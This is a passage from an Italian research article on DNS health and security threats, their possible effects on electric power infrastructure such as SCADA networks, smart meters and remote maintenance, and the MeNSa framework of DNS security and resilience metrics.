hanno senso se considerati in relazione alle minacce
e alle vulnerabilità stesse. Le problematiche relative al
sistema dei nomi di dominio possono essere generalmente classificate in tre categorie principali [8]: Data
corruption, Denial of Service e Privacy.
• La Data Corruption è definita come l’insieme
dei problemi relativi alla modifica non autorizzata dei dati propri del DNS. Tali problemi
possono sorgere in ogni momento ed in ogni
parte della catena di propagazione dei messaggi DNS. Nel documento considereremo la
Data Corruption divisa in tre sotto-classi [8]:
◦ Repository Corruption - Il repository rappresenta quell’elemento del sistema in cui
sono memorizzati e conservati i dati. Nel
DNS il repository è la fonte autorevole per
le informazioni di una determinata zona.
◦ System Corruption - L’autenticità delle risposte del DNS dipende fortemente dalla
fiducia che si ha verso l’intera catena dei
sistemi nella parte più rilevante della gerarchia/albero del DNS. Per natura stessa
dell’architettura del DNS non tutti questi
sistemi sono sotto il controllo della medesima entità. Questo rende difficile (quasi
impossibile) per il possessore dei dati assicurare l’autenticità degli stessi al client che
li abbia ricevuti. un esempio di system
corruption è la modifica non autorizzata
delle risposte alle query DNS di un utente.
◦ Protocol Issues - Questa categoria di attacchi
tratta le falle di sicurezza riguardanti i protocolli del DNS. alcuni esempi sono il
cache poisoning, la route-injection e le
minacce del tipo man-in-the-middle.
La Data Corruption influenza in maniera
diretta la coerenza e l’integrità di una porzione o dell’intero DNS e, come conseguenza, ha
un impatto anche sulla resilienza del sistema.
• un attacco di Denial of Service viene sferrato
per rendere il servizio inutilizzabile ai sui utenti. Questi attacchi usualmente possono avere
come obiettivo uno specifico servizio (ad
83
esempio il DNS) o una porzione più ampia
della rete (ad esempio Internet). Per questo
motivo distinguiamo gli attacchi DoS distribuiti (DDoS) portati contro i server DNS da
quelli relativi alle infrastrutture di rete.
attacchi DoS e DDoS possono essere eseguiti con tecniche differenti e possono avere
effetti su Speed, availability e Resiliency dell’intero DNS o di una sua parte.
• Gli attacchi al DNS non sono solo una questione di sicurezza ma spesso riguardano
anche la privacy. molti attacchi infatti permettono, al malintenzionato, di entrare in possesso dei “DNS data”. Il cache snooping e lo
NSeC walk sono esempi di minacce legate alla
privacy. attualmente la privacy non è considerata parte della DNS Health ma una discussione sull’argomento andrebbe iniziata.
Riassumendo, una classificazione ad alto livello
dell’impatto di minacce e vulnerabilità sul livello di
Health del DNS è la seguente:
• La Data Corruption si ripercuote direttamente sulla coerenza e sull’integrità di una parte
del DNS e, come conseguenza, può avere un
impatto sulla Resiliency.
• attacchi DoS o DDoS possono essere eseguiti con tecniche differenti e possono ripercuotersi su Speed, availability e Resiliency dell’intero DNS o di una sua parte.
Come precedentemente affermato, la privacy non
è considerata rilevante per la DNS Health.
Nella Tabella 1 viene riassunta la relazione tra
minacce ed indicatori di Health. È possibile osservare come la Coherency e l’Integrity siano legati ad
aspetti di Data Corruption mentre Speed e
availability siano relativi a problematiche di DoS e
DDoS. La Resiliency, essendo collegata alla capacità
di mantenere, o recuperare, un certo livello di servizio è influenzata sia dalla Data Corruption che da
elementi di DoS/DDoS. anche la Vulnerability è
collegata a tutte le categorie di minaccia essendo intesa come la probabilità che un problema del DNS,
Categoria di Minaccia
Data Corruption
DoS e DDoS
Privacy
84
derivante appunto da una certa vulnerabilità, si palesi.
3. DNS Impact on CI, the Energy System
Use Case
Come affermato nell’introduzione, il DNS viene
usato, in maniera ubiquita, in molte operazioni per la
gestione ed il controllo delle infrastrutture critiche.
In questa sezione, dopo una breve descrizione ad alto
livello dei sistemi energetici, mostreremo come il
DNS è coinvolto in queste operazioni.
3.1 Panoramica sui sistemi energetici
I sistemi energetici comprendono un elevato
numero di sotto-sistemi, ognuno con compito differente, che insieme collaborano per garantire il corretto funzionamento di infrastrutture trans-nazionali e
fornire così energia a centinaia di milioni di persone.
Nel seguito di questa sezione forniremo una descrizione ad alto livello di tutti questi elementi e delle
dinamiche di maggior importanza.
Il livello fisico di un sistema di alimentazione elettrica è costituito dall’hardware di rete: stazioni, collegamenti, trasformatori e interruttori. Le strategie di
controllo per il mantenimento operativo del sistema
di trasmissione sono trasferite ai sistemi fisici attraverso periferiche e centri ICT per il controllo ed il
monitoraggio delle informazioni (il cosiddetto livello
informatico del sistema). Nel livello fisico è possibile
classificare gli elementi costitutivi di un sistema di alimentazione elettrica in:
• Stazioni di Trasmissione: generalmente gestite
direttamente dai Trasmission System
Operator (TSO).
• Centrali di alimentazione: usualmente di proprietà di varie compagnie.
• alimentatori del Sistema di Distribuzione, che
costituiscono l’origine del sistema di distribuzione di medio voltaggio. Ogni Distribution
Tipo di Minaccia
Indice di Health
Cache Poisoning, Coherency,
modifica di query o risposta
Integrity, Resiliency,Vulnerability
Cache Snooping
Vulnerability
(contro i) DNS Server, (contro le)
Infrastrutture di Rete
Speed, availability, Resiliency,
Vulnerability
Tabella 1: Relazione tra minacce di sicurezza e indici di Health influenzabili.
System Operator (DSO) possiede e gestisce il
monopolio del sistema di distribuzione su una
certa porzione del territorio.
• utilizzatori massivi: utenti del sistema energetico ad alto consumo (>5mW).
• utenti finali: connessi ai bus di distribuzione e
costituenti le foglie del sistema energetico.
Con l’avvento delle smart-grid in cui ogni utente
può diventare esso stesso produttore di energia
ovviamente questa classificazione subirà delle modifiche.
Per mantenere l’operatività, un sistema così complesso necessita un considerevole scambio di informazioni (dati real-time, ma anche commerciali ed
amministrativi) tra i centri di controllo e le sotto-stazioni ma anche tra i vari operatori. Il sistema informativo di una rete energetica è composto da differenti sotto-sistemi:
• La rete di controllo: contiene tutte le Remote
Terminal unit (RTu) ed i Programmable
Logic Controller (PLC). essa si interfaccia
direttamente con la rete di campo ovvero la
rete degli attuatori e dei sensori che fisicamente svolgono i task di processo nel sistema.
Inoltre essa è connessa con la rete di processo
(descritta nel seguito).
• La rete di processo: è composta dai server
SCaDa e da tutti quei sistemi che si occupano della raccolta dei dati in arrivo dalla rete di
controllo. È la rete di processo che invia
comandi e istruzioni alla rete di controllo.
• area di scambio: usualmente contiene i database di aggregazione che ricevono i dati dalla
rete di processo. Questi dati rappresentano lo
stato operativo del sistema e sono utilizzati
dagli apparati diagnostici, contenuti nell’area
stessa, per individuare anomalie. Gli operatori
dei centri di controllo accedono in remoto a
questi database per avere una panoramica ad
alto livello dello stato di processo.
• Centri di controllo: sono utilizzati dagli operatori per ottenere informazioni sui processi e
per eseguire sequenze di operazioni per la
modifica dello stato di processo (mediante la
rete di controllo).
Questa panoramica del sistema deve essere intesa
come multi-livello, ossia alcune di queste infrastrutture, di proprietà di aziende differenti, interagiscono
sovrapponendosi l’una con l’altra su varie prospettive.
a questo punto è evidente come, nell’architettura
appena descritta le reti ICT giochino un ruolo
importante implementando, di fatto, le interconnessioni di sistema.
facendo riferimento alla documentazione scientifica ed operativa scopriamo che, in questo contesto,
viene rivolta pochissima attenzione al ruolo del sistema dei nomi di dominio. Per capire il grado di coinvolgimento dell’infrastruttura del DNS nelle operazioni di un sistema di alimentazione elettrica, dobbiamo guardare ad esso considerando due diverse
prospettive: la “infrastruttura di alto livello” e la
“infrastruttura di basso livello”. Per ognuna di esse,
abbiamo identificato un insieme di classi di operazioni (tipiche della rete di distribuzione elettrica) ed
alcune classi di vulnerabilità tradizionalmente associate al DNS: Repository Corruption, System
Corruption, Protocol Issues, Denial of Service ed
Information exposure. Sulla base di queste categorie
abbiamo infine fatto delle ipotesi sugli effetti che un
problema del DNS potrebbe avere sul sistema energetico.
3.2 Il DNS e l’infrastruttura di alto livello di
un sistema di alimentazione elettrica
Possiamo definire infrastruttura di alto livello dell’impianto di alimentazione elettrica quella parte del
sistema utilizzata per le operazione dette di alto livello, ossia:
1. Gestione del mercato dell’energia.
2. Collegamento tra i rappresentanti dell’industria e gli utenti.
3. azioni presso le sedi dei clienti.
4. Collegamenti tra il settore energetico e i rappresentanti dell’industria.
5. Coordinamento tra i produttori di energia.
6. Coordinamento tra le aziende per la trasmissione dell’energia.
7. Gestione di crisi/blackout.
Ognuna di queste operazioni funzionali coinvolge in qualche modo il DNS. Nel seguito forniamo
una panoramica sul suo ruolo e sugli effetti di un
eventuale guasto.
3.2.1 Gestione del mercato energetico
Questa sezione include le interazioni tra i rappresentanti dell’industria, i mediatori, il mercato all'ingrosso e la camera di compensazione del mercato.
Queste operazioni fanno uso di strumenti di
comunicazione e cooperazione, workflow manage-
85
ment ed applicazioni distribuite in genere. Tutte queste applicazioni fanno spesso uso di tecnologie web
e sono estremamente dipendenti dal corretto funzionamento del DNS. È evidente dunque come il DNS
possa avere un impatto diretto sulla disponibilità e
sulla stabilità del mercato energetico considerando
l’eventuale possibilità di causare gravi danni finanziari.
Con riferimento alle quattro categorie di vulnerabilità associate al DNS descriviamo brevemente alcuni scenari di minaccia:
• Repository Corruption: una DNS Repository
Corruption (ad esempio una modifica non
autorizzata nei database autorevoli o di
caching) può essere parte di un attacco più
complesso che abbia lo scopo di reindirizzare
parte dei flussi del mercato energetico verso
server compromessi, così da alterare la percezione sugli andamenti di mercato. In altri scenari, questo potrebbe avere un impatto anche
sulla produzione dell’energia. Si consideri ad
esempio il caso in cui un produttore compri
delle azioni; in una situazione dove questo sia
fatto attraverso server dedicati, l’accesso a
macchine compromesse potrebbe essere l’effetto di un DNS Repository Corruption. Il
risultato di queste operazioni potrebbe avere a
livello nazionale o, ancor peggio, a livello continentale ripercussioni sul piano economico e
sociale (si pensi ad una situazione dove un’eventuale carenza energetica forzi le reti a spegnersi o a interrompere l’erogazione).
• System Corruption e Protocol Issues: In questi due
ambiti sono valide le stesse considerazioni
fatte nel caso precedente.
• Denial of Service: un DNS DoS potrebbe esser
causa dell’irraggiungibilità delle infrastrutture
di rete del mercato energetico. L’impatto di
questo attacco, evidente nell’immediato,
sarebbe comunque limitato, dato che per un
certo lasso di tempo, ogni operatore del mercato energetico sarebbe in grado di lavorare
senza il bisogno di accedere ai servizi. È
comunque vero che in alcuni casi particolari
(es. durante inaspettati picchi della richiesta di
energia o in situazioni similari), l’indisponibilità del mercato energetico potrebbe causare
danni difficilmente prevedibili.
• Information Exposure: gli attacchi al DNS che
hanno lo scopo di violare la confidenzialità
dell’infrastruttura potrebbero essere parte di
86
attacchi più complessi (per esempio quelli con
l’obiettivo di corrompere delle cache del
DNS). Il danno immediato in questo caso è
praticamente nullo ma, se consideriamo una
“visione d’insieme”, sapere come certi nodi
del DNS coinvolti nelle operazioni del mercato energetico siano configurati potrebbe essere un’informazione molto utile a potenziali
attaccanti.
3.2.2 Collegamenti tra i rappresentanti dell’industria e gli
utenti finali
Questa operazione logica si riferisce alle fasi di
comunicazione tra le società del settore energetico e
gli utenti finali inclusi contatori, interfacce per la fatturazione dei servizi energetici, aggregatori di fornitori di energia al dettaglio e fornitori dei servizi energetici.
In quest’ambito, un esempio in cui il DNS
potrebbe essere usato riguarda il contesto degli
Smart meter: esistono già diversi esempi di infrastrutture di misura composte da un misto di tecnologie GPRS e canali TCP/IP classici. Normalmente la
comunicazione è “GPRS based” dal contatore al
centro di aggregazione locale e “IP based” da quest’ultimo ai server della piattaforma energetica. Con
riferimento alla parte IP dell’architettura di controllo
ed acquisizione dati, ogni attacco al DNS può avere
impatto notevole su servizi come: spegnimento o
avvio remoto dell’alimentazione per un certo cliente,
alterazione delle statistiche sul consumo energetico,
disabilitazione del servizio, interruzione nel rilevamento dati, utilizzo non autorizzato dell’elettricità,
alterazione della massima quantità di elettricità che
un cliente può richiedere, alterazione remota del
piano di fatturazione dei contatori.
esistono già applicazioni “mobile” che permettono ai clienti di controllare in remoto il consumo
energetico di casa; anche in questo caso è probabile
che il DNS sia utilizzato per rendere il servizio accessibile ovunque. allo stesso modo, i servizi di fatturazione, un altro esempio di Web application, fanno
uso del DNS per rendere accessibili da parte degli
utenti i server di frontend e i servizi di pagamento.
In questo caso DNS Repository Corruption,
DNS System Corruption e Protocol Issues possono
essere usati in diversi scenari come parte di un attacco più complesso:
• La cache DNS può essere modificata così da
rendere possibile, in un punto del percorso
che va dai contatori ai server di aggregazione,
il reindirizzamento del traffico su un server
contraffatto. allo stesso modo le categorie di
vulnerabilità possono essere utilizzate in uno
scenario in cui sia coinvolto il processo di fatturazione o, nel caso di produzione di energia
da parte di un utente finale, adottate in un
attacco che abbia lo scopo di alterare i valori
di produzione di tali utenti. Il danno in questa
situazione sarebbe prettamente economico
ma, fortunatamente, non avrebbe alcun
impatto su infrastrutture fondamentali.
• Denial of Service: un DNS DoS potrebbe interferire nel controllo e nel processo di fatturazione. ancora una volta parliamo di danni
prettamente economici.
• Information Exposure: come nel caso precedente, il danno immediato è quasi nullo ma, considerata una “visione d’insieme”, lo scenario
potrebbe essere sicuramente quello di uno
step intermedio che conduca ad altri attacchi.
3.2.3 Azioni presso le sedi dei clienti
In questo contesto consideriamo operazioni
come la gestione di elettrodomestici, veicoli elettrici,
altri servizi relativi (misurazione del consumo di
acqua/gas), domotica, ecc.
Queste operazioni cadono, da un punto di vista
tecnico, nella stessa categoria di quelle precedenti e,
per questa ragione, il DNS, a seconda dall’architettura di comunicazione utilizzata, potrebbe avere un
ruolo rilevante.
3.2.4 Collegamenti tra il settore energetico e i rappresentanti dell’industria
Per mantenere operativo il nucleo fondamentale
dell’infrastruttura (centrali di alimentazione, centri di
trasmissione, ecc.) le aziende del settore energetico
sono strettamente legate ai produttori di dispositivi
per l’alimentazione. È abbastanza comune che i produttori di dispositivi forniscano un supporto per la
manutenzione remota. Questa attività è normalmente svolta attraverso l’implementazione di una connessione VPN (attraverso Internet) dalla sede del
produttore di dispositivi fino alla società elettrica,
l’installazione di una sotto-rete, ed infine concedendo la possibilità di eseguire operazioni remote sul
sistema di controllo del processo locale. In questo
caso, il DNS è coinvolto nella risoluzione dei nomi
dei server utilizzati e ogni indisponibilità, modifica
malevola o problema potrebbe prevenire un’operazione di manutenzione necessaria all’impianto fisico.
Quando viene stabilito un tunnel VPN da base a
base, il processo di risoluzione dei nomi per i server
interni viene eseguito attraverso i due sistemi DNS
che agiscono da entrambe le parti. errori di configurazione, modifiche malevole interne o problemi di
indisponibilità nella sede del produttore o in quella
dell’azienda elettrica influiscono inevitabilmente
sulla sicurezza dell’intero sistema, con la conseguenza che il flusso di operazioni possa essere ridiretto
verso server contraffatti o che sia prevenuto del
tutto.
È importante anche porre in evidenza che il DNS
può essere usato sia per facilitare la diffusione di
infezioni (es. ridirigendo trasparentemente le richieste degli utenti verso siti contraffatti e conseguentemente innescando l’installazione di codice malevolo
che produca, una volta in azione, danni concreti) sia
come attuatore di infezione (per esempio intervenendo direttamente sulla disponibilità dei servizi
della sotto-rete dell’azienda di installazione).
3.2.5 Coordinazione tra i produttori di energia
In questa categoria di operazioni consideriamo:
• La coordinazione tra le società elettriche, relazionata soprattutto alla quantità di energia che
debba essere prodotta. Tale coordinazione fa
sempre maggior uso di Internet. Di conseguenza, l’impatto del DNS su queste operazioni dovrebbe essere considerato alto, tenendo conto che, ad esempio, le società elettriche
potrebbero non essere in grado di comunicarsi in maniera adeguata piani di produzione
energetica.
• La coordinazione tra le società di trasmissione: anche in questo caso sono valide le considerazioni fatte al punto precedente.
• Gestione di crisi/blackout: tradizionalmente
la coordinazione tra gli attori del settore energetico durante una crisi (es. durante un blackout) è ben strutturata e definita da un insieme di linee di condotta operative. L’uso della
rete pubblica, sistemi di posta elettronica, ed
altre applicazioni per coordinare le azioni
durante una crisi energetica è in crescita.
anche in questo caso il DNS sarebbe coinvolto. Infatti l’impatto di Repository Corruption,
System Corruption e DoS nel sistema dei
87
nomi di dominio è potenzialmente molto
grave. un ritardo nella coordinazione di un’emergenza blackout può portare a situazioni
drammatiche in cui intere nazioni sono lasciate senza elettricità. Tutto ciò può essere considerato, a questo livello, come l’azione di maggior rilevanza in termini di impatto sulla vita
delle persone.
3.2.6 Considerazioni finali
essenzialmente, tutte le operazioni di alto livello
che riguardano l’infrastruttura di alimentazione, si
affidano a servizi web/applicazioni che fanno uso
della rete Internet per lo scambio di informazioni,
per la realizzazione di transazioni e per la fornitura di
servizi. In tutte queste categorie, il DNS gioca un
ruolo rilevante. un guasto o una compromissione del
DNS potrebbe avere un impatto drammatico, per
esempio intevenendo sui prezzi o sulla disponibilità
del mercato energetico. In maniera simile, durante la
gestione di una crisi energetica (ad esempio col
rischio di un blackout), se il DNS subisce un guasto,
può accadere che questo si ripercuota sui centri di
controllo di alto livello adibiti al collezionamento di
dati e, indirettamente, causi un rallentamento nella
definizione di un piano di contingenza. La coordinazione tra i produttori di elettricità è necessaria per
garantire la stabilità della rete energetica. un guasto
del DNS potrebbe compromettere questo processo.
3.3 Il DNS e l’infrastruttura di basso livello
dei sistemi di alimentazione elettrica
Nei primi anni ‘90 i sistemi per il controllo dell’alimentazione elettrica erano costruiti come ambienti
completamente isolati. Il controllo della rete di
campo era basato su protocolli di comunicazione
seriale ed ogni cosa era monitorata e gestita localmente. Con il crescente utilizzo del TCP/IP, gli ingegneri di processo decisero di trasferire tutti i protocolli seriali industriali sul TCP/IP (incorporandoli
usualmente nel livello applicazione della suite
TCP/IP). Oggigiorno, praticamente ogni elemento
attivo nei moderni sistemi di controllo del settore
energetico è associato ad un indirizzo IP. alcuni studi
condotti in questo campo (per esempio [7]) hanno
mostrato come stia diventando sempre più comune
per i sistemi di alimentazione elettrica affidarsi al
DNS per la identificazione dei server coinvolti nel
processo di controllo. Di seguito sono proposti alcu-
88
ni esempi di comuni operazioni in cui il DNS
dovrebbe essere coinvolto e delle ipotesi sugli effetti
che un guasto al DNS avrebbe nel corso di queste
attività.
3.3.1 Operazioni di manutenzione
Centrali elettriche, sotto-stazioni di trasmissione
ed altri elementi dei sistemi di alimentazione elettrica
richiedono costante manutenzione. Tali attività sono
tipicamente appaltate a società esterne che eseguono
varie operazioni per via remota, utilizzando quindi
connessioni di rete basate su protocollo TCP/IP o su
altre tecnologie. La procedura standard consiste nel:
1. Stabilire una connessione VPN da base a base
tra la rete della società esterna e quella del proprietario della centrale.
2. accedere al dominio della società elettrica
attraverso un’autenticazione di tipo RaDIuS.
3. accedere alla sotto-rete dell’impianto
4. eseguire l’operazione di manutenzione richiesta.
Per risolvere gli indirizzi dei server coinvolti nel
processo, siano essi appartenenti a zone pubbliche o
private, viene normalmente utilizzato il protocollo
DNS. Quindi, un guasto nel DNS (privato o pubblico) durante queste operazioni potrebbe avere un
impatto sulla sicurezza e sulla stabilità del sistema di
alimentazione elettrico. Repository Corruption e
Protocol Issues (che permetterebbero ad esempio di
generare del cache poisoning) possono essere usati
come elementi di attacchi più complessi con lo scopo
di reindirizzare il flusso di operazioni di manutenzione esistente tra la base del produttore di dispositivi e
il centro ove risiede la rete locale della centrale. un
DNS DoS può essere utilizzato per rendere difficoltoso il settaggio di una connessione tra il sito remoto e quello ove risiedono i server su cui eseguire le
operazioni di manutenzione.
La finalità di questi attacchi può essere considerata duplice:
1. Generare un problema nel sistema reale,
mascherandolo all’operatore mostrando informazioni corrette.
2. evitare l’esecuzione corretta di un’operazione
di manutenzione.
In entrambi i casi l’impatto sull’impianto potrebbe essere estremamente grave. Quando si tratta di
dispositivi critici come turbine a gas, linee ad alto voltaggio o, nel peggiore dei casi, centrali nucleari, una
mancata operazione di manutenzione potrebbe avere
effetti drammatici.
3.3.2 Interazioni nella rete di processo
La rete di processo contiene tutti i server che
controllano i processi industriali (es. produzione di
energia, trasmissione di energia, ecc.). È abbastanza
comune affidarsi ad un DNS interno per la risoluzione dei nomi dei server. In questo caso, un guasto
sul DNS potrebbe avere impatto sull’individuazione
delle anomalie nella rete di processo di un sistema di
alimentazione elettrico o anche sulle capacità di controllo dei server SCaDa. Nel primo caso un’anomalia sfuggita alla ricerca (per esempio una variazione
nella rotazione di una turbina a gas) potrebbe causare danni fisici al sistema o un blocco forzato dello
stesso (questo sarebbe un problema economicamente costoso considerato che in media una centrale
elettrica costa circa 2 milioni di euro al giorno). Nel
secondo caso, perdere la capacità di controllare i server SCaDa potrebbe rendere impossibile una reazione sufficientemente rapida alla transizione del
sistema in uno stato critico.
3.3.3 Monitoraggio degli operatori
Il personale operativo usa le Human-machine
Interface (HmI) per il monitoraggio delle attività di
un sistema di processo. Per eseguire questo compito,
di solito essi accedono ai server, contenuti nella rete
di scambio, mantenenti la cronologia delle operazioni. Più raramente, essi accedono direttamente ai server SCaDa. Il trend di accesso ai server ed ai servizi attraverso l’utilizzo dei nomi al posto degli indirizzi IP è in crescita. Inoltre, in diverse situazioni, queste attività sono eseguite per via remota nel senso più
ampio del termine; come ad esempio da operatori
ubicati in luoghi completamente differenti che utilizzino una rete esterna e si affidino ad Internet per raggiungere l’access point della sotto-rete dell’impianto.
ancora una volta, proprio come nel caso delle operazioni di manutenzione, il DNS gioca un ruolo fondamentale nel rendere questa connessione possibile
e, nuovamente, un suo guasto o una modifica malevola potrebbe rendere difficile o impossibile controllare remotamente il sistema di processo.
In [8] Nai fovino et al. mostrano come un attacco di DNS poisoning possa essere utilizzato come
parte di un attacco più complesso contro una centrale turbo-gas per ridirigere l’operatore su un falso server SCaDa.
3.3.4 Operazioni del Centro di Controllo
I centri di controllo gestiscono simultaneamente
impianti multipli dei sistemi di alimentazione elettrica. Le varie applicazioni in esecuzione nei centri di
controllo generano flussi di richiesta/risposta dalle
HmI locali ai database remoti degli impianti e dunque ai server di diagnostica. Il DNS è ancora una
volta utilizzato per la risoluzione dei nomi degli entry
point delle sotto-reti remote ed allo stesso modo per
risolvere i nomi dei server remoti. un'altra importante funzione dei centri di controllo consiste nel distribuire i piani di produzione giornaliera con la specifica della produzione di energia, ora per ora, di ogni
centrale elettrica del sistema. Queste piani sono automaticamente consegnati ad ogni centrale usando: (a)
una rete dedicata, (b) una rete pubblica combinando
l’utilizzo di VPN o mPLS. un guasto nel DNS, in
questa situazione, potrebbe avere effetti significativi
nella definizione dei piani di reazione contro crisi
energetiche o potrebbe compromettere il piano di
produzione dell’energia stessa.
In quest’ultimo scenario, dovrebbe essere ulteriormente posta l’attenzione al ruolo del DNS come
veicolo per la disposizione di canali nascosti non filtrati con host già compromessi all’interno delle
sotto-reti delle società elettriche: il prelevamento illecito di dati dai sistemi di controllo o dalle reti di
scambio sia che si tratti di dati di misura, rapporti
sulle performance, piani operativi o raccolte di valutazioni di criticità potrebbe condurre a gravi rischi
per la sicurezza e per la continuità delle operazioni.
Tipicamente, sebbene siano isolate dalle reti pubbliche, le sotto-reti delle aziende necessitano comunque
di servizi basilari come quello della risoluzione dei
nomi di dominio e, nel momento in cui un certo host
all’interno della sotto-rete della compagnia sia già
stato compromesso, il prelevamento illecito di dati
potrebbe essere operato attraverso l’inoltro di query
DNS, che risolvano i nomi e conducano le informazioni verso un name-server sotto il controllo dell’attaccante. In questo modo, applicazioni malevole, in
esecuzione su una macchina compromessa potrebbero mandare query ad-hoc verso specifici uRL che
procurerebbero problemi per esempio nel trasferimento di dati sensibili archiviati nelle sotto-reti del
name-server dell’attaccante, senza che vi siano firewall operanti a livello applicazione o intrusion detection/prevention system che facciano attivamente il
log sul traffico HTTP sospetto. un’ispezione accurata delle query e dei responsi DNS dovrebbe essere
89
assicurata per mitigare questo rischio.
4. Il framework MeNSa
Il concetto di DNS Health è stato proposto, nel
2010, dalla comunità DNS-SSR, ossia da chi si occupa di SSR del DNS [7]. Definire gli indicatori vitali
del DNS è sicuramente un passo fondamentale ma,
nonostante questo, la definizione di metriche di sicurezza è a livello embrionale, mentre le metriche per la
Stabilità e Sicurezza del DNS sono ancora un territorio inesplorato. Relativamente al problema della
misura del livello di H&S del DNS vi sono una serie
di questioni aperte e di sfide che possono essere riassunte come segue:
1) Necessità di raffinare e migliorare le metriche
esistenti (e gli approcci alla misurazione) per
ciò che riguarda: Coerency, Integrity, Speed,
availability, Resiliency, Vulnerability, Security.
2) Necessità di definire nuovi indicatori per la
valutazione del livello di H&S. Tali indicatori
devono potersi adattare ai vari attori del sistema (operatori dei root server o anche di server
non-autoritativi, server cache ed open resolver, ma anche end user).
3) bisogno di progettare e raffinare appropriate
metodologie e tecniche per il calcolo degli
indicatori di DNS Health & Security.
4) Necessità di identificare delle soglie di riferimento sulle metriche stesse che consentano
alla communità del DNS di
sapere, possibilmente in anticipo, se e quando la H&S del
DNS sia compromessa.
Dare una risposta a queste esigenze concretizza la definizione di una
linea di azione globale e coerente
mirata al rafforzamento ad ogni livello
della sicurezza stabilità e resilienza del
DNS fornendo inoltre strumenti di
analisi che permettono agli utenti finali di valutare eventuali loro esposizioni
alle minacce. Il framework presentato
in questa sezione è una prima risposta
a queste esigenze.
Nel seguito descriviamo i componenti principali del framework meNSa
e le sue fasi operative. Per maggiori
dettagli si faccia riferimento ai deliverable di progetto [9], [10], [11].
90
4.1 I componenti del framework
I principali concetti alla base del framework
meNSa sono riassunti nei cinque punti che seguono:
• modello di riferimento del DNS [9]. In ogni
framework di misura è sempre necessario definire formalmente l’oggetto della misura stessa.
• Il Punto di Vista (Point-of-View o semplicemente PoV). un PoV è inteso come la prospettiva da cui un attore del sistema osserva,
usa, opera e influenza il DNS.
• Gli use Case. L’insieme dei casi d’uso descrivono i possibili utilizzi del framework in situazioni specifiche. un caso d’uso è contraddistinto da un attore primario (che rappresenta
l’utilizzatore del framework) ed eventuali attori secondari che interagiscono con esso.
• Le metriche. esse valutano i livelli di Health &
Security del DNS.
• Tecniche e tool di misura per la raccolta e l’analisi dei dati del sistema. La loro implementazione dipende da due fattori: (a) ciò che può
essere realmente misurato da un determinato
PoV; e (b) il periodo di collezionamento dati
(orizzonte temporale variabile in un intervallo
che va dalle ore ai mesi).
La figura 1, schematizza gli elementi principali
del framework e la loro relazione logica. Nel resto
della sezione forniamo una descrizione più dettagliate dell’architettura di riferimento, dei PoV, e delle
metriche.
Figura 1: Le componenti principali del framework MeNSa e loro relazione.
4.1.1 L’architettura di riferimento
La figura 2 mostra l’architettura del sistema, intesa a definire gli elementi e le interazioni che vogliamo studiare. L’End User Application (es. browser) rappresenta il componente che genera la richiesta DNS.
Oltre l’azione precedente principale può avere caratteristiche più avanzate come la possibilità di fare
DNS pre-fetching e/o DNS caching.
L’Application Service Provider (aSP) è il componente che fornisce servizi/applicazioni distribuiti agli
utenti. Nella maggior parte dei casi questo avviene
attraverso il Web.
Il Name Server è la macchina fisica che risolve le
query per una Zona specifica.
Il Resolver (R) è un server, spesso gestito da un
ISP, che riceve le query degli utenti e le inoltra verso
i nameserver. esso può agire sia da semplice forwarder che da nameserver (diventando quel che si definisce “full resolver”).
Figura 2: Architettura di riferimento.
Lo Stub Resolver (SR) rappresenta le librerie del
sistema operativo che, ricevendo l’input dalle applicazioni, creano ed inviano richieste DNS verso i
resolver (attraverso connessioni TCP/IP). Il componente NET rappresenta le interconnessioni fisiche
tra i vari componenti.
In questo documento non considereremo altri
componenti architetturali comunque parte del framework e descritti in [9]. Questi sono: Registrant,
Databases, DNS Zone, Global DNS System (pseudo-elemento che indica il sistema nella sua interezza) e il
DNS Sub-system (servizio dei nomi di dominio gestito da una specifica entità gestito in maniera autonoSpeciale Sicurezza ICT
ma rispetto al resto dell’infrastruttura).
4.1.2 Definizione di Punto di Vista
I potenziali utenti del framework meNSa ricadono nelle seguenti categorie.
• End Users, (ovvero i semplici utenti) per lo più
all’oscuro delle funzioni e delle operazioni del
DNS. un end-user può essere un web browser ma anche una qualsiasi applicazione distribuita (ad esempio un’applicazione per il controllo dell’infrastruttura elettrica) che fa uso
del DNS.
• Service Providers, ad esempio Internet ed
application Service Providers. Operators, ad
esempio resolvers (forwarded o full).
• Nameservers (autorevoli o non).
• Registrars.
Ogni potenziale utente del framework può avere
una o più viste del sistema DNS e ciò dipende dai
componenti utilizzati [9]; oltretutto
un attore all’interno del sistema può
osservare solamente i processi in cui
è coinvolto direttamente e misurare
solo i componenti su cui abbia reale
controllo. La definizione di differenti punti di vista ha come obiettivo
quello di classificare quali componenti siano osservabili e misurabili
da un determinato attore del sistema
e quali informazioni siano necessarie
(eventualmente fornite da altri attori) per valutare in maniera adeguata i
livelli di DNS H&S percepiti.
I sei punti di vista attualmente
definiti sono: end user PoV,
application Service Provider PoV,
Resolver PoV, Nameserver PoV,
zone PoV, Global PoV.
4.1.3 Le metriche
Le metriche proposte servono a valutare l’Health
del DNS misurandolo su tre dimensioni differenti:
Vulnerabilities, Security e Resiliency.
Il framework meNSa organizza le metriche di
Vulnerability nelle categorie descritte in sezione 2,
ossia: Data corruption (repository e system corruption e protocol issues) e denial of service. Le metriche di sicurezza che andiamo a proporre non sono
specifiche del mondo DNS e sono intese come uno
91
strumento per valutare la prontezza di risposta del DNS
in possibili scenari di attacco atti a minarne il livello
di sicurezza. Per quanto riguarda la Resiliency proponiamo di utilizzare un set di metriche per la misura
della resilienza di un generico sistema ICT applicandolo alle problematiche del DNS.
In Tabella 2 sono mostrati alcuni esempi di metriche che abbiamo identificato. Per la lista completa si
rimanda il lettore a [11].
4.2 Le fasi operative del framework
In questa sezione descriviamo le principali fasi
operative del framework e in che modo il processo di
valutazione concretizza nella pratica.
Categorie
Misure
Metriche
zone drift/zone trash
Probabilità di incorrere in uno stato di zone drift/zone trash
Repository Corruption Data Staleness
System Corruption
NS Parent/Chil Data
Coherence
Cache Poisoning
zone Transfer failure
DNS Spoofing
Denial of Service
Resiliency
Variation of DNS Request
per Second
Differenze (in percentuale) di valori SOa tra i server autorevoli su un determinato periodo
Differenze (in percentuale) tra le risposte a query di tipo NS
tra due zone collegate nella gerarchia del DNS
Differenze (in percentuale) tra i contenuti di una cache e i
dati reali
Numero di operazioni di "zone transfer" fallite
Probabilità di essere attualmente in presenza di un attacco di
spoofing e probabilità che ciò avvenga in un determinato
periodo
Variazione nel numero di richieste DNS
Incoming bandwidth
Consumption
Percentuale di disponibilità della banda
mean Time to Incident
Discovery
Periodo medio intercorso tra l'identificazione di due attacchi/incidenti
Incoming Traffic Variation
Variazione nel traffico DNS
Operational mean Time
between failures
